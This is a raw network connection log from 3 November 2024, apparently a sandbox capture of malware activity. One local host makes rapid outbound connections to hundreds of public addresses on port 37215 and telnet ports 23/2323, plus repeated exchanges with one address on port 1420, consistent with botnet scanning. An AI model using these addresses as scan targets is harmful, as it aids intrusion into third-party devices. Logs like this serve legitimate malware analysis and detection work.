Nov 3, 2024 15:33:11.206276894 CET	4847	37215	192.168.2.14	156.214.15.183
Nov 3, 2024 15:33:11.206276894 CET	4847	37215	192.168.2.14	197.191.18.61
Nov 3, 2024 15:33:11.206276894 CET	4847	37215	192.168.2.14	197.15.130.19
Nov 3, 2024 15:33:11.206276894 CET	4847	37215	192.168.2.14	197.102.221.48
Nov 3, 2024 15:33:11.206279039 CET	4847	37215	192.168.2.14	197.220.222.156
Nov 3, 2024 15:33:11.206279993 CET	4847	37215	192.168.2.14	156.31.247.211
Nov 3, 2024 15:33:11.206280947 CET	4847	37215	192.168.2.14	197.50.39.3
Nov 3, 2024 15:33:11.206289053 CET	4847	37215	192.168.2.14	41.74.90.174
Nov 3, 2024 15:33:11.206290960 CET	4847	37215	192.168.2.14	197.243.131.173
Nov 3, 2024 15:33:11.206295013 CET	4847	37215	192.168.2.14	41.17.48.179
Nov 3, 2024 15:33:11.206295013 CET	4847	37215	192.168.2.14	156.174.178.11
Nov 3, 2024 15:33:11.206295967 CET	4847	37215	192.168.2.14	197.140.215.118
Nov 3, 2024 15:33:11.206296921 CET	4847	37215	192.168.2.14	197.87.66.112
Nov 3, 2024 15:33:11.206296921 CET	4847	37215	192.168.2.14	41.241.26.254
Nov 3, 2024 15:33:11.206304073 CET	4847	37215	192.168.2.14	156.106.66.214
Nov 3, 2024 15:33:11.206304073 CET	4847	37215	192.168.2.14	156.207.108.83
Nov 3, 2024 15:33:11.206304073 CET	4847	37215	192.168.2.14	156.233.243.121
Nov 3, 2024 15:33:11.206315994 CET	4847	37215	192.168.2.14	156.177.155.176
Nov 3, 2024 15:33:11.206316948 CET	4847	37215	192.168.2.14	197.134.15.65
Nov 3, 2024 15:33:11.206316948 CET	4847	37215	192.168.2.14	197.11.146.14
Nov 3, 2024 15:33:11.206317902 CET	4847	37215	192.168.2.14	41.156.74.176
Nov 3, 2024 15:33:11.206317902 CET	4847	37215	192.168.2.14	156.16.240.135
Nov 3, 2024 15:33:11.206317902 CET	4847	37215	192.168.2.14	197.100.80.82
Nov 3, 2024 15:33:11.206320047 CET	4847	37215	192.168.2.14	156.31.122.164
Nov 3, 2024 15:33:11.206317902 CET	4847	37215	192.168.2.14	41.147.181.58
Nov 3, 2024 15:33:11.206320047 CET	4847	37215	192.168.2.14	197.24.129.76
Nov 3, 2024 15:33:11.206326008 CET	4847	37215	192.168.2.14	41.134.120.107
Nov 3, 2024 15:33:11.206320047 CET	4847	37215	192.168.2.14	41.137.24.241
Nov 3, 2024 15:33:11.206326008 CET	4847	37215	192.168.2.14	197.131.211.75
Nov 3, 2024 15:33:11.206320047 CET	4847	37215	192.168.2.14	197.239.224.162
Nov 3, 2024 15:33:11.206327915 CET	4847	37215	192.168.2.14	41.21.65.26
Nov 3, 2024 15:33:11.206327915 CET	4847	37215	192.168.2.14	197.146.58.233
Nov 3, 2024 15:33:11.206330061 CET	4847	37215	192.168.2.14	197.3.67.68
Nov 3, 2024 15:33:11.206331015 CET	4847	37215	192.168.2.14	41.101.141.193
Nov 3, 2024 15:33:11.206336021 CET	4847	37215	192.168.2.14	41.125.86.141
Nov 3, 2024 15:33:11.206338882 CET	4847	37215	192.168.2.14	197.150.232.164
Nov 3, 2024 15:33:11.206340075 CET	4847	37215	192.168.2.14	41.140.53.12
Nov 3, 2024 15:33:11.206343889 CET	4847	37215	192.168.2.14	156.46.231.196
Nov 3, 2024 15:33:11.206345081 CET	4847	37215	192.168.2.14	197.161.155.143
Nov 3, 2024 15:33:11.206360102 CET	4847	37215	192.168.2.14	156.170.68.88
Nov 3, 2024 15:33:11.206360102 CET	4847	37215	192.168.2.14	197.94.2.151
Nov 3, 2024 15:33:11.206360102 CET	4847	37215	192.168.2.14	197.64.193.21
Nov 3, 2024 15:33:11.206360102 CET	4847	37215	192.168.2.14	156.167.1.118
Nov 3, 2024 15:33:11.206362963 CET	4847	37215	192.168.2.14	41.38.201.201
Nov 3, 2024 15:33:11.206371069 CET	4847	37215	192.168.2.14	197.34.250.5
Nov 3, 2024 15:33:11.206373930 CET	4847	37215	192.168.2.14	41.157.4.253
Nov 3, 2024 15:33:11.206376076 CET	4847	37215	192.168.2.14	197.1.148.60
Nov 3, 2024 15:33:11.206376076 CET	4847	37215	192.168.2.14	41.181.47.123
Nov 3, 2024 15:33:11.206376076 CET	4847	37215	192.168.2.14	197.230.55.184
Nov 3, 2024 15:33:11.206386089 CET	4847	37215	192.168.2.14	197.5.35.214
Nov 3, 2024 15:33:11.206386089 CET	4847	37215	192.168.2.14	197.60.19.181
Nov 3, 2024 15:33:11.206392050 CET	4847	37215	192.168.2.14	156.188.102.161
Nov 3, 2024 15:33:11.206393957 CET	4847	37215	192.168.2.14	41.40.166.201
Nov 3, 2024 15:33:11.206393957 CET	4847	37215	192.168.2.14	41.107.199.3
Nov 3, 2024 15:33:11.206397057 CET	4847	37215	192.168.2.14	41.200.121.54
Nov 3, 2024 15:33:11.206398010 CET	4847	37215	192.168.2.14	156.110.11.182
Nov 3, 2024 15:33:11.206408978 CET	4847	37215	192.168.2.14	41.118.120.62
Nov 3, 2024 15:33:11.206409931 CET	4847	37215	192.168.2.14	156.188.32.76
Nov 3, 2024 15:33:11.206408978 CET	4847	37215	192.168.2.14	197.9.160.46
Nov 3, 2024 15:33:11.206408978 CET	4847	37215	192.168.2.14	156.14.44.95
Nov 3, 2024 15:33:11.206412077 CET	4847	37215	192.168.2.14	197.139.213.87
Nov 3, 2024 15:33:11.206413984 CET	4847	37215	192.168.2.14	156.55.158.11
Nov 3, 2024 15:33:11.206413984 CET	4847	37215	192.168.2.14	197.222.90.205
Nov 3, 2024 15:33:11.206427097 CET	4847	37215	192.168.2.14	197.179.31.250
Nov 3, 2024 15:33:11.206433058 CET	4847	37215	192.168.2.14	197.35.193.112
Nov 3, 2024 15:33:11.206434965 CET	4847	37215	192.168.2.14	197.67.99.19
Nov 3, 2024 15:33:11.206434965 CET	4847	37215	192.168.2.14	41.217.162.242
Nov 3, 2024 15:33:11.206435919 CET	4847	37215	192.168.2.14	197.185.241.66
Nov 3, 2024 15:33:11.206434965 CET	4847	37215	192.168.2.14	156.10.120.72
Nov 3, 2024 15:33:11.206434965 CET	4847	37215	192.168.2.14	156.152.40.164
Nov 3, 2024 15:33:11.206434965 CET	4847	37215	192.168.2.14	41.188.24.121
Nov 3, 2024 15:33:11.206438065 CET	4847	37215	192.168.2.14	156.141.92.237
Nov 3, 2024 15:33:11.206434965 CET	4847	37215	192.168.2.14	41.155.157.169
Nov 3, 2024 15:33:11.206438065 CET	4847	37215	192.168.2.14	156.190.98.168
Nov 3, 2024 15:33:11.206435919 CET	4847	37215	192.168.2.14	197.30.219.100
Nov 3, 2024 15:33:11.206448078 CET	4847	37215	192.168.2.14	156.120.16.112
Nov 3, 2024 15:33:11.206449032 CET	4847	37215	192.168.2.14	197.177.58.236
Nov 3, 2024 15:33:11.206450939 CET	4847	37215	192.168.2.14	197.76.235.82
Nov 3, 2024 15:33:11.206450939 CET	4847	37215	192.168.2.14	197.0.75.81
Nov 3, 2024 15:33:11.206454039 CET	4847	37215	192.168.2.14	41.195.204.196
Nov 3, 2024 15:33:11.206455946 CET	4847	37215	192.168.2.14	41.157.8.176
Nov 3, 2024 15:33:11.206455946 CET	4847	37215	192.168.2.14	156.224.91.220
Nov 3, 2024 15:33:11.206455946 CET	4847	37215	192.168.2.14	41.175.8.165
Nov 3, 2024 15:33:11.206459999 CET	4847	37215	192.168.2.14	197.55.214.134
Nov 3, 2024 15:33:11.206459999 CET	4847	37215	192.168.2.14	41.106.104.127
Nov 3, 2024 15:33:11.206464052 CET	4847	37215	192.168.2.14	197.123.31.35
Nov 3, 2024 15:33:11.206464052 CET	4847	37215	192.168.2.14	156.90.96.52
Nov 3, 2024 15:33:11.206465960 CET	4847	37215	192.168.2.14	41.205.57.62
Nov 3, 2024 15:33:11.206465960 CET	4847	37215	192.168.2.14	41.157.71.63
Nov 3, 2024 15:33:11.206465960 CET	4847	37215	192.168.2.14	156.112.251.205
Nov 3, 2024 15:33:11.206465960 CET	4847	37215	192.168.2.14	156.247.227.156
Nov 3, 2024 15:33:11.206465960 CET	4847	37215	192.168.2.14	156.80.128.204
Nov 3, 2024 15:33:11.206476927 CET	4847	37215	192.168.2.14	41.141.3.68
Nov 3, 2024 15:33:11.206476927 CET	4847	37215	192.168.2.14	197.199.159.151
Nov 3, 2024 15:33:11.206476927 CET	4847	37215	192.168.2.14	156.81.8.101
Nov 3, 2024 15:33:11.206480026 CET	4847	37215	192.168.2.14	41.196.190.49
Nov 3, 2024 15:33:11.206485033 CET	4847	37215	192.168.2.14	156.150.171.205
Nov 3, 2024 15:33:11.206485987 CET	4847	37215	192.168.2.14	197.57.252.105
Nov 3, 2024 15:33:11.206486940 CET	4847	37215	192.168.2.14	197.15.190.123
Nov 3, 2024 15:33:11.206486940 CET	4847	37215	192.168.2.14	156.225.155.136
Nov 3, 2024 15:33:11.206486940 CET	4847	37215	192.168.2.14	156.29.31.241
Nov 3, 2024 15:33:11.206487894 CET	4847	37215	192.168.2.14	41.217.49.184
Nov 3, 2024 15:33:11.206487894 CET	4847	37215	192.168.2.14	156.221.231.140
Nov 3, 2024 15:33:11.206501007 CET	4847	37215	192.168.2.14	156.4.116.166
Nov 3, 2024 15:33:11.206501007 CET	4847	37215	192.168.2.14	156.72.53.159
Nov 3, 2024 15:33:11.206501007 CET	4847	37215	192.168.2.14	156.84.237.226
Nov 3, 2024 15:33:11.206502914 CET	4847	37215	192.168.2.14	156.67.96.55
Nov 3, 2024 15:33:11.206501007 CET	4847	37215	192.168.2.14	156.228.41.237
Nov 3, 2024 15:33:11.206504107 CET	4847	37215	192.168.2.14	156.185.178.68
Nov 3, 2024 15:33:11.206504107 CET	4847	37215	192.168.2.14	197.159.51.175
Nov 3, 2024 15:33:11.206502914 CET	4847	37215	192.168.2.14	156.70.237.243
Nov 3, 2024 15:33:11.206511974 CET	4847	37215	192.168.2.14	156.97.39.233
Nov 3, 2024 15:33:11.206515074 CET	4847	37215	192.168.2.14	41.211.71.124
Nov 3, 2024 15:33:11.206515074 CET	4847	37215	192.168.2.14	197.214.151.148
Nov 3, 2024 15:33:11.206515074 CET	4847	37215	192.168.2.14	197.232.49.210
Nov 3, 2024 15:33:11.206515074 CET	4847	37215	192.168.2.14	41.99.136.105
Nov 3, 2024 15:33:11.206526041 CET	4847	37215	192.168.2.14	41.99.250.121
Nov 3, 2024 15:33:11.206526041 CET	4847	37215	192.168.2.14	41.65.8.177
Nov 3, 2024 15:33:11.206526995 CET	4847	37215	192.168.2.14	197.58.163.107
Nov 3, 2024 15:33:11.206526995 CET	4847	37215	192.168.2.14	197.81.154.39
Nov 3, 2024 15:33:11.206526995 CET	4847	37215	192.168.2.14	156.240.148.193
Nov 3, 2024 15:33:11.206526995 CET	4847	37215	192.168.2.14	156.86.142.55
Nov 3, 2024 15:33:11.206527948 CET	4847	37215	192.168.2.14	41.149.44.108
Nov 3, 2024 15:33:11.206535101 CET	4847	37215	192.168.2.14	156.176.229.216
Nov 3, 2024 15:33:11.206538916 CET	4847	37215	192.168.2.14	41.233.84.96
Nov 3, 2024 15:33:11.206547022 CET	4847	37215	192.168.2.14	197.213.91.187
Nov 3, 2024 15:33:11.206547022 CET	4847	37215	192.168.2.14	156.73.200.239
Nov 3, 2024 15:33:11.206547022 CET	4847	37215	192.168.2.14	41.224.93.254
Nov 3, 2024 15:33:11.206547022 CET	4847	37215	192.168.2.14	41.217.167.194
Nov 3, 2024 15:33:11.206549883 CET	4847	37215	192.168.2.14	156.209.158.84
Nov 3, 2024 15:33:11.206553936 CET	4847	37215	192.168.2.14	197.22.72.217
Nov 3, 2024 15:33:11.206912041 CET	39250	23	192.168.2.14	45.251.55.196
Nov 3, 2024 15:33:11.207596064 CET	51590	23	192.168.2.14	160.191.29.198
Nov 3, 2024 15:33:11.208266973 CET	58940	23	192.168.2.14	189.24.123.196
Nov 3, 2024 15:33:11.208956003 CET	55404	23	192.168.2.14	97.104.202.222
Nov 3, 2024 15:33:11.209623098 CET	57824	2323	192.168.2.14	14.156.87.77
Nov 3, 2024 15:33:11.210150003 CET	23	51004	174.234.155.8	192.168.2.14
Nov 3, 2024 15:33:11.210329056 CET	48154	23	192.168.2.14	142.132.34.191
Nov 3, 2024 15:33:11.211015940 CET	37542	23	192.168.2.14	119.218.10.19
Nov 3, 2024 15:33:11.211709023 CET	40746	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:11.212383986 CET	41270	2323	192.168.2.14	73.152.162.54
Nov 3, 2024 15:33:11.212755919 CET	51004	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:11.213078022 CET	51926	23	192.168.2.14	9.83.49.8
Nov 3, 2024 15:33:11.213747025 CET	47838	23	192.168.2.14	118.184.140.7
Nov 3, 2024 15:33:11.214376926 CET	40574	2323	192.168.2.14	130.234.175.231
Nov 3, 2024 15:33:11.215018988 CET	42432	23	192.168.2.14	76.138.124.126
Nov 3, 2024 15:33:11.215688944 CET	46860	23	192.168.2.14	5.217.183.113
Nov 3, 2024 15:33:11.216356039 CET	46866	23	192.168.2.14	140.215.30.98
Nov 3, 2024 15:33:11.216628075 CET	23	40746	39.166.154.81	192.168.2.14
Nov 3, 2024 15:33:11.216676950 CET	40746	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:11.217014074 CET	48120	23	192.168.2.14	112.255.193.230
Nov 3, 2024 15:33:11.217667103 CET	40780	23	192.168.2.14	110.90.84.35
Nov 3, 2024 15:33:11.218339920 CET	51328	23	192.168.2.14	9.187.18.204
Nov 3, 2024 15:33:11.218995094 CET	52232	23	192.168.2.14	170.198.211.137
Nov 3, 2024 15:33:11.219657898 CET	43420	23	192.168.2.14	145.200.61.238
Nov 3, 2024 15:33:11.220324039 CET	33200	23	192.168.2.14	54.115.171.21
Nov 3, 2024 15:33:11.220983982 CET	35368	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:11.221678019 CET	33124	23	192.168.2.14	221.125.157.173
Nov 3, 2024 15:33:11.221848011 CET	23	40746	39.166.154.81	192.168.2.14
Nov 3, 2024 15:33:11.222316980 CET	48150	23	192.168.2.14	95.124.62.123
Nov 3, 2024 15:33:11.222971916 CET	49582	23	192.168.2.14	118.209.41.35
Nov 3, 2024 15:33:11.223653078 CET	48634	23	192.168.2.14	200.19.151.133
Nov 3, 2024 15:33:11.224308968 CET	45088	23	192.168.2.14	148.58.186.24
Nov 3, 2024 15:33:11.224452972 CET	23	43420	145.200.61.238	192.168.2.14
Nov 3, 2024 15:33:11.224488020 CET	43420	23	192.168.2.14	145.200.61.238
Nov 3, 2024 15:33:11.224756002 CET	40746	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:11.224978924 CET	33252	23	192.168.2.14	122.197.11.138
Nov 3, 2024 15:33:11.225630045 CET	36726	23	192.168.2.14	149.100.124.48
Nov 3, 2024 15:33:11.226298094 CET	43014	2323	192.168.2.14	170.249.147.34
Nov 3, 2024 15:33:11.226716042 CET	58376	23	192.168.2.14	14.92.73.42
Nov 3, 2024 15:33:11.226995945 CET	58514	23	192.168.2.14	14.92.73.42
Nov 3, 2024 15:33:11.227361917 CET	36318	23	192.168.2.14	43.247.67.68
Nov 3, 2024 15:33:11.227648020 CET	36456	23	192.168.2.14	43.247.67.68
Nov 3, 2024 15:33:11.228018045 CET	55060	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:11.228297949 CET	55166	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:11.228667021 CET	51004	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:11.228755951 CET	38520	37215	192.168.2.14	197.216.151.15
Nov 3, 2024 15:33:11.228765965 CET	53830	23	192.168.2.14	5.127.89.240
Nov 3, 2024 15:33:11.228766918 CET	59294	23	192.168.2.14	121.12.149.163
Nov 3, 2024 15:33:11.228768110 CET	45178	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:11.228768110 CET	54780	37215	192.168.2.14	156.171.108.22
Nov 3, 2024 15:33:11.228769064 CET	33864	37215	192.168.2.14	197.122.113.243
Nov 3, 2024 15:33:11.228769064 CET	46808	37215	192.168.2.14	156.14.116.151
Nov 3, 2024 15:33:11.228770971 CET	53746	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:11.228775978 CET	37500	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:11.228776932 CET	33870	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:11.228776932 CET	37842	37215	192.168.2.14	197.220.105.216
Nov 3, 2024 15:33:11.228776932 CET	43662	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:11.228785038 CET	37578	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:11.228785992 CET	55376	23	192.168.2.14	208.25.183.113
Nov 3, 2024 15:33:11.228805065 CET	40950	23	192.168.2.14	58.62.127.193
Nov 3, 2024 15:33:11.228805065 CET	45662	23	192.168.2.14	221.95.166.59
Nov 3, 2024 15:33:11.228805065 CET	51674	2323	192.168.2.14	175.243.137.81
Nov 3, 2024 15:33:11.228807926 CET	42250	23	192.168.2.14	152.189.235.149
Nov 3, 2024 15:33:11.228807926 CET	39076	23	192.168.2.14	199.59.48.194
Nov 3, 2024 15:33:11.228813887 CET	39598	23	192.168.2.14	94.225.74.133
Nov 3, 2024 15:33:11.229005098 CET	51088	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:11.229381084 CET	40746	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:11.229666948 CET	40800	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:11.231476068 CET	23	58376	14.92.73.42	192.168.2.14
Nov 3, 2024 15:33:11.232083082 CET	23	36318	43.247.67.68	192.168.2.14
Nov 3, 2024 15:33:11.232759953 CET	23	55060	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:11.233438969 CET	23	51004	174.234.155.8	192.168.2.14
Nov 3, 2024 15:33:11.234106064 CET	23	40746	39.166.154.81	192.168.2.14
Nov 3, 2024 15:33:11.242470026 CET	23	43040	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.242537975 CET	43040	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.242849112 CET	43328	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.247383118 CET	23	43040	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.247623920 CET	23	43328	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.247663021 CET	43328	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.252810001 CET	23	43328	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.252868891 CET	43328	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.253169060 CET	43330	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.257692099 CET	23	43328	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.258188009 CET	23	43330	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.258234978 CET	43330	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.263448954 CET	23	43330	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.263520956 CET	43330	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.263848066 CET	43332	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.268400908 CET	23	43330	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.268702984 CET	23	43332	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.268754005 CET	43332	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.273847103 CET	23	43332	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.273910046 CET	43332	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.274203062 CET	43334	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.278712988 CET	23	43332	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.278965950 CET	23	43334	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.279014111 CET	43334	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.284182072 CET	23	43334	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.284248114 CET	43334	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.284562111 CET	43336	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.289000034 CET	23	43334	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.289294958 CET	23	43336	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.289340973 CET	43336	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.295320988 CET	23	43336	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.295378923 CET	43336	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.295670986 CET	43338	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.300179958 CET	23	43336	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.300445080 CET	23	43338	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.300493002 CET	43338	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.305509090 CET	23	43338	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.305577040 CET	43338	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.305893898 CET	43340	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.310883999 CET	23	43338	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.311333895 CET	23	43340	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:11.311372042 CET	43340	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:11.855855942 CET	23	58614	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:11.856142044 CET	58614	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.856604099 CET	58786	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.861309052 CET	23	58614	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:11.861361027 CET	23	58786	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:11.861403942 CET	58786	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.867679119 CET	23	58786	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:11.867752075 CET	58786	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.868076086 CET	58788	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.872639894 CET	23	58786	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:11.872865915 CET	23	58788	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:11.872916937 CET	58788	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.878086090 CET	23	58788	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:11.878139973 CET	58788	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.878436089 CET	58790	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.884665012 CET	23	58788	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:11.884728909 CET	23	58790	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:11.884779930 CET	58790	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.909261942 CET	23	46566	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.909317970 CET	46566	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.909750938 CET	46736	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.914943933 CET	23	46566	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.915431976 CET	23	46736	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.915468931 CET	46736	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.925287008 CET	23	46736	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.925342083 CET	46736	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.925760984 CET	46738	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.930218935 CET	23	46736	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.930538893 CET	23	46738	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.930587053 CET	46738	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.935628891 CET	23	46738	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.935796022 CET	46738	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.936110020 CET	46740	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.940687895 CET	23	46738	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.940896034 CET	23	46740	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.940938950 CET	46740	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.945959091 CET	23	46740	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.946022987 CET	46740	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.946327925 CET	46742	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.950875044 CET	23	46740	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.951103926 CET	23	46742	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.951149940 CET	46742	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.956245899 CET	23	46742	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.956316948 CET	46742	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.956626892 CET	46744	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.961227894 CET	23	46742	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.961487055 CET	23	46744	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.961529970 CET	46744	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.966840982 CET	23	46744	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.966897011 CET	46744	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.967200994 CET	46746	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.971770048 CET	23	46744	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.971959114 CET	23	46746	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.972002983 CET	46746	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.977129936 CET	23	46746	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.977195024 CET	46746	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.977495909 CET	46748	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.983556032 CET	23	46746	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.983724117 CET	23	46748	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.983767033 CET	46748	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:12.014734030 CET	1420	34494	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:12.014779091 CET	34494	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:12.014801979 CET	34494	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:12.019316912 CET	23	37216	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:12.019407988 CET	37216	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:12.019694090 CET	37406	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:12.024173021 CET	23	37216	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:12.024228096 CET	34690	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:12.024560928 CET	23	37406	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:12.024596930 CET	37406	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:12.029066086 CET	1420	34690	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:12.029112101 CET	34690	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:12.029750109 CET	34690	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:12.034187078 CET	1420	34690	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:12.034236908 CET	34690	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:12.034477949 CET	1420	34690	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:12.039057970 CET	1420	34690	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:12.110372066 CET	23	43340	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:12.110568047 CET	43340	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:12.110891104 CET	43366	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:12.115345955 CET	23	43340	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:12.115650892 CET	23	43366	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:12.115690947 CET	43366	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:12.115730047 CET	4833	2323	192.168.2.14	154.172.138.17
Nov 3, 2024 15:33:12.115735054 CET	4833	23	192.168.2.14	19.109.85.78
Nov 3, 2024 15:33:12.115736961 CET	4833	23	192.168.2.14	180.18.157.120
Nov 3, 2024 15:33:12.115742922 CET	4833	23	192.168.2.14	17.125.39.104
Nov 3, 2024 15:33:12.115751028 CET	4833	23	192.168.2.14	87.49.91.175
Nov 3, 2024 15:33:12.115753889 CET	4833	23	192.168.2.14	207.204.166.223
Nov 3, 2024 15:33:12.115775108 CET	4833	23	192.168.2.14	73.181.0.189
Nov 3, 2024 15:33:12.115775108 CET	4833	23	192.168.2.14	191.212.132.241
